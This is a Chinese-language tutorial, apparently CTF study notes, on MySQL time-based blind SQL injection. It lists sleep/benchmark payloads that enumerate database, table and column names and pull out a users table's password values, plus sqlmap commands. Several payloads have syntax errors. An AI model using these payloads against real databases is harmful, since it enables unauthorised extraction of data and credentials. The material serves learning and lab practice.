Mysql時間盲注

2021-09-26 13:39:58 字數 2516 閱讀 6966

if() 函式:

if(1,2,3)

如果條件1為真,執行結果語句2;如果條件1為假,執行結果語句3;

sleep() 函式:

sleep以秒來算的;

length() 函式:

測量字串的長度

substr() 函式:

substr(s,a,b)

a為對s擷取的位置,b為對s擷取的長度

ascii() 函式:

ascii(a)

返回a的ascii值

version()函式:

返回當前資料庫的版本的型號

benchmark()函式:

benchmark(count,expr)

重複 count次 執行表示式expr

首先區別字元型,還是數字型。

1.首先查詢是否存在注入點:

利用1' and if(1=0,1,sleep(10)) --+檢查是否存在注入點,如果有的話,sleep10秒。

2.利用 length( database() ) = 8 這個判斷條件:

利用1' and if(length(database())=8,sleep(10),1) --+

探測版本型號名稱的長度可以利用 1' and if(length(version())=8,sleep(10),1) --+
3.利用1' and if(ascii(substr(database(),1,1)=113),sleep(10),1) --+判斷條件:

同理,也可以得到version()的版本名稱
4.然後依次利用上面的函式進行查詢

查詢第乙個資料庫名稱的長度:1'and if(length((select schema_name from information_schema.schemata limit 0,1))=18,sleep(10),1)--+

這裡通過改變limit後的值來確定第幾個資料庫,第乙個資料庫的下標為0,依次往後推就是其他的資料庫

查詢第乙個資料庫名稱的第乙個字元:1'and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105,sleep(10),1)--+

查詢security庫中第四個表名的長度:1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(10),1)--+

查詢security庫中的第四個表名的名稱:

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)=123,sleep(10),1) --+
查詢 users 表中字段的長度:

1' and if(length(select column_name from information_schema.columns where table_name='users' limit 3,1),sleep(10),1) --+
查詢 users 表中的欄位名稱:

1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=123,sleep(10),1) --+
查詢表中 password 欄位下第乙個的內容長度:

1'and if(length((select password from security.users limit 0,1))=4,sleep(10),1)--+
利用 benchmark()進行延時注入

1' union select (if(substr(database()),1,1) = char(115),benchmark(150000000,encode('msg','by 5 seconds')),null)),2,3 from (select database() as current) as tb1--+
sqlmap、穿山甲、胡蘿蔔等主流注入工具

sqlmap命令:

python sqlmap.py -u "url" --dbs

python sqlmap.py -u "url" --tables -d "database()"

.......

建議準備乙個吧,防止出題人出有過濾的題目時,sqlmap等因為不會用導致掃不出,這裡就不顯示了**,太慢了。

mysql 時間盲注 MySQL手注之時間盲注

時間盲注 延遲 沒有任何回顯點 在頁面中輸入任何內容都會返回同乙個頁面內容的 就可以嘗試使用延遲盲注。時間盲注常用的函式 if函式 if condition,a,b 含義 如果condition 成立,執行a,則b substr函式 含義 擷取字串。subster string,start,leng...

SQL盲注 時間盲注,dnslog盲注

時間盲注原理 id get id sql select from users where id id limit 0,1 result mysql query sql row mysql fetch array result if row else 存在sql注入漏洞 然而頁面不會回顯資料,也不會回...

時間盲注手注

基於時間的盲注 時間的概念 使用特定函式讓資料庫去執行,通過自己的設定,來檢視資料庫是否get到我們的請求 函式sleep 設定資料庫的延時或者暫停的時間 函式limit 0,1 限制第乙個的第乙個字元 函式mid 1,1 從第乙個字元開始擷取,只擷取乙個 函式benchmark 引數一,引數二 第...